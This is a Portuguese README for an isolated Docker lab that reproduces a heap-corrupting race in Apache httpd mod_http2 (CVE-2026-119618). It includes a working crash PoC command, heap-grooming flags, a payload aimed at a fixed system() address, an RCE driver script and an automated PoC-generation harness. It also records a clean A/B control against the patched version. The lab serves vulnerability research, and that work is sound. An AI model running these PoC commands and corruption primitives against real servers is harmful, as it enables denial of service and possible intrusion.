
Laboratório Docker isolado que reproduz a corrida do CVE-2026-119618 no mod_http2 do Apache httpd 2.4.55–2.4.70, com PoC de crash, primitivas de corrupção de heap, análise de core e um controle A/B na 2.4.71.
assign_headers() do Apache mod_http2 (CWE-362)Laboratório de prova de conceito educacional para CVE-2026-119618 (crítica; publicada em 2026-11-11), uma
condição de corrida no mod_http2 do Apache HTTP Server que afeta o httpd 2.4.55–2.4.70, corrigida
na 2.4.71. Tudo aqui é executado contra contêineres Docker locais no host, vinculados a
127.0.0.1 em uma rede isolada — nunca direcione estas ferramentas para qualquer outro host.
Resultados em um parágrafo: o bug se reproduz como um PoC de crash por corrupção de heap confiável no
2.4.70 (core dumps nos caminhos de apr_table/alocador/destruição de pool, mais de 6 modos distintos de crash), e
duas primitivas de corrupção foram obtidas: bytes de cabeçalho do atacante sobrescrevendo um
ponteiro de dados desreferenciado, e um sequestro de ponteiro de função na limpeza de pool que transfere o controle para um
plain_cleanup_fn corrompido (primitiva B da etapa 4). Execução de código ponta a ponta NÃO foi
alcançada — as etapas 5, 6 e 8 terminaram cada uma com um bloqueio estrutural preciso e respaldado por evidências
(consulte Resultados). O controle A/B no 2.4.71 está limpo: 189.524 streams em todas as
famílias de payload, zero resets/GOAWAYs/cores.
Toda a correção upstream (commit 824beab9) é uma linha em
modules/http2/h2_request.c, função assign_headers():
// when: !is_connect && no_body && Content-Type present && Content-Length absent
- apr_table_setn(req->headers, "Content-Length", "0"); // writes SHARED session-side table
+ apr_table_setn(r->headers_in, "Content-Length", "0"); // writes per-request clone (2.4.71)
assign_headers() é executado em uma thread de trabalho do mod_http2 (c2), mas req->headers é uma
apr_table que reside no pool de stream pertencente à thread de sessão do nghttp2 (c1).
apr_table não é thread-safe, e os pools APR não sincronizam a alocação no mesmo pool:
c1 session thread (nghttp2) c2 worker thread (mod_http2)
──────────────────────────── ────────────────────────────
h2_request_clone / push collect assign_headers()
iterate/copy req->headers ──────┐ apr_table_setn(req->headers,
apr_palloc from stream pool ──┐ │ "Content-Length", "0")
│ │ └─ realloc entry array (80 entries
shared session allocator ◄────┴─┴──────────── == capacity) + apr_palloc race
(lock-free on this path) ⇒ heap corruption / double-pop
O setn do worker pode realocar o array de entradas da tabela ou sobrescrever entradas enquanto a
thread da sessão clona/itera a mesma tabela, e seu apr_palloc disputa com alocações da thread da sessão
a partir do mesmo nó de alocador sem bloqueio. A 2.4.71 remove a escrita compartilhada (usa o
clone r->headers_in por requisição) e adiciona pool_lock.
Uma requisição HTTP/2 cujo frame HEADERS carrega END_STREAM (sem corpo) com um cabeçalho Content-Type,
sem Content-Length, e um método diferente de CONNECT. A corrida é entre a thread da sessão e a
thread do worker no mesmo stream, então o PoC abre muitos desses streams concorrentemente e
amplifica com temporização de RST/push/burst.
| Caminho | Propósito |
|---|---|
docker-compose.yaml | target = httpd:2.4.70 (vulnerável), target-fixed = httpd:2.4.71 (A/B), dev = este container |
target/httpd-lab.conf | configuração h2c injetada via -c Include (Listen 8080, Protocols h2c http/1.1, event MPM, CoreDumpDirectory /tmp, CGI habilitado) |
target/htdocs/ | push.cgi (emite Link: </style.css>; rel=preload para forçar a clonagem pela thread da sessão), diag.cgi (diagnóstico de core/proc, ?savecore preserva /tmp/core), fetch.cgi (baixa via gzip arquivos/cores/marcadores do alvo) |
poc.py | cliente de corrida h2 (PoC de crash + flags de grooming) |
exploit.py | driver de RCE das etapas 5/6 + helpers reutilizáveis (run_poc, save_and_fetch_core, gdb_batch, endereços fixos) |
cve2poc/ | harness de duplo loop da etapa 8 (arquitetura Cve2PoC: spec → gates estáticos → sintetizar → executar → oráculo → pontuação de eixo duplo → refinar/replanejar) |
evidence/ | writeups das etapas (STEP4_RCE.md, STEP5_RCE.md, STEP6_RCE.md, STEP8_CVE2POC.md), backtraces resolvidos, analyze_core.sh (resolvedor de core offline), cores arquivados em target-bin/ |
src/ | código-fonte de referência somente leitura (httpd 2.4.70, apr 1.7.5) — nunca compilado |
Notas de ambiente: o container do agente/dev não tem docker CLI — inicie os alvos no host
com docker compose up -d target target-fixed. O ASLR está desligado neste laboratório, então todos os endereços registrados
(system = 0xffff924292c0, base do mod_http2 0xffff91e60000, região de header-spray
0xffff91600000–0xffff91650000, …) são estáveis entre execuções. kernel.core_pattern=core e
core_uses_pid=0: cada crash sobrescreve o /tmp/core do alvo — execute
curl 'http://target:8080/diag.cgi?savecore' antes da próxima corrida.
python3 -m venv .venv && .venv/bin/pip install h2 # once
# Crash PoC (reliable on 2 CPUs; expect exit 1 + a fresh ~1.1 GB core in target /tmp):
.venv/bin/python poc.py --host target --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 15 --persist
# Preserve + fetch + resolve the core (sleep ~15 s first — diag.cgi is unresponsive
# while the core flushes):
curl -s 'http://target:8080/diag.cgi?savecore'
curl -s 'http://target:8080/fetch.cgi?f=core' -o /tmp/c.gz && gunzip -f /tmp/c.gz
bash evidence/analyze_core.sh /tmp/c # offline gdb vs archived target binaries
# A/B control — identical run vs the patched image; expect 0 resets/GOAWAYs/cores:
.venv/bin/python poc.py --host target-fixed --mode flood --connections 16 --streams 100 \
--rounds 100000 --fill 78 --pad 16 --payload-hex c0924292ffff --duration 30 --persist
# Step-8 dual-loop harness (strategy registry, dead-veto, dual-axis scoring, stall→replan):
.venv/bin/python -m cve2poc selftest # offline proof, green before any race
.venv/bin/python -m cve2poc run --strategy S2 --budget 4 --duration 20
.venv/bin/python -m cve2poc status # reconstruct state from the JSONL reward store
Flags de grooming do poc.py: --fill 78 (78 fillers + content-type + host = 80 entradas == capacidade da tabela ⇒ força o realloc vulnerável; --fill 0 é o controle sem corrida), --pad N (direciona o consumo do stream-pool contra o limite de 8 KB do nó do alocador; 16 = janela de crash na limpeza), amplificadores --mode {race,rst,push,flood,burst}, --pattern (spray de cabeçalhos reconhecíveis), --payload-hex / --body-hex / --body-every (payloads binários; os valores de cabeçalho do nghttp2 são apenas field-vchar, portanto bytes contendo NUL devem ser transportados em corpos DATA).
poc.py derruba o worker 2.4.70 de forma reproduzível (conn 16 mais confiável que 32 em 2 CPUs). Cores resolvidos offline classificam-se em 6+ modos distintos: corrupção da free-list do alocador (apr_allocator_free com um ponteiro corrompido por checksum), corridas de entrada em apr_table, corrupção do ponteiro de dados do stream, corrupção de bucket/brigade, crashes de limpeza no pool-destroy e asserts do APR. Cada core é verificado quanto à proveniência (Apache/2.4.70, string pool_lock ausente) antes da atribuição. Ver evidence/EVIDENCE.md e BACKTRACE_*.txt.